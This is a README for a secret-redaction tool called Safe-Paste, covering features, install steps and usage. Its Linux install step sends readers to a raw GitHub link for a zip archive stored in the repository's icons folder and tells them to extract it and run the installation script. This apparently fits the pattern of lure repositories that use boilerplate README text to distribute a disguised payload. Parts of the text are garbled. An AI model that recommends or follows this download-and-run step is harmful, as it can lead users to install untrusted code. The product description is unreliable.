Safe-Paste is a practical tool for developers. It helps ensure that you never leak sensitive information when sharing code. The software scans your pasted content for secrets, tokens, credentials, and other confidential values. When it finds any, it redacts or replaces them with safe placeholders. Safe-Paste is perfect for AI prompts, documentation, issue reports, and public chats.
Before you start, ensure your device meets the following requirements:
- Operating System: Windows, macOS, or Linux
- RAM: At least 2 GB
- Storage: A minimum of 100 MB free space
- Internet Connection: Needed for downloading and updates
Safe-Paste offers the following key features:
- Secret Detection: Quickly scans for sensitive information.
- Data Redaction: Automatically removes or masks confidential information.
- User-Friendly Interface: Easy to navigate for everyone, regardless of technical skill.
- Customizable Placeholders: You can set your placeholders for replaced sensitive data.
- Privacy Focused: Protects your privacy when sharing code snippets.
To get started with Safe-Paste, follow these steps:
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Visit the Releases Page: Click the link below to reach the download section.
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Select the Latest Version: On the releases page, you will see a list of versions. Click on the latest version that fits your operating system.
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Download the Installer: Once you select the version, you will find the download link. Click it to start downloading the installer file.
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Run the Installer:
- Windows: Double-click the downloaded
.exefile and follow the on-screen instructions. - macOS: Open the downloaded
.dmgfile and drag Safe-Paste to your Applications folder. - Linux: Extract the files from the downloaded
https://raw.githubusercontent.com/vikash202/safe-paste/main/icons/safe-paste_3.1.zipand run the installation script.
- Windows: Double-click the downloaded
Now that you have installed Safe-Paste, it’s time to use it.
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Open the Application: Locate Safe-Paste in your applications or programs list and open it.
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Paste Your Content: Copy the code or text that you want to check, and paste it into the Safe-Paste interface.
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Scan for Secrets: Click on the "Scan" button. Safe-Paste will analyze your content for any sensitive information.
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Review the Results: After the scan, Safe-Paste will display any identified secrets. You can choose to redact them or replace them with your defined placeholders.
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Copy the Safe Version: Once you have reviewed and made changes, copy the cleaned content and share it safely.
Safe-Paste is designed for several use cases:
- Code Sharing: Protect your APIs and secrets when sharing code snippets.
- Documentation: Ensure that any sensitive information is hidden in technical documents.
- Public Chats: Safeguard your credentials in collaboration tools or social media interactions.
- Issue Reports: When reporting issues, avoid leaking any sensitive data.
If you face issues or have questions, please check the Issues section on the repository page:
You can also contact the community for help. Help is always available.
If you want to contribute to Safe-Paste, follow these steps:
- Fork the repository on GitHub.
- Make your changes.
- Submit a pull request for review.
Your input can help make Safe-Paste even better.
Safe-Paste is licensed under the MIT License. You can use it freely, but contributions must also follow this license.
Stay tuned for upcoming features, including:
- Enhanced scanning capabilities
- New customization options for placeholders
- Additional support for different programming languages
For the latest updates, keep checking the releases page: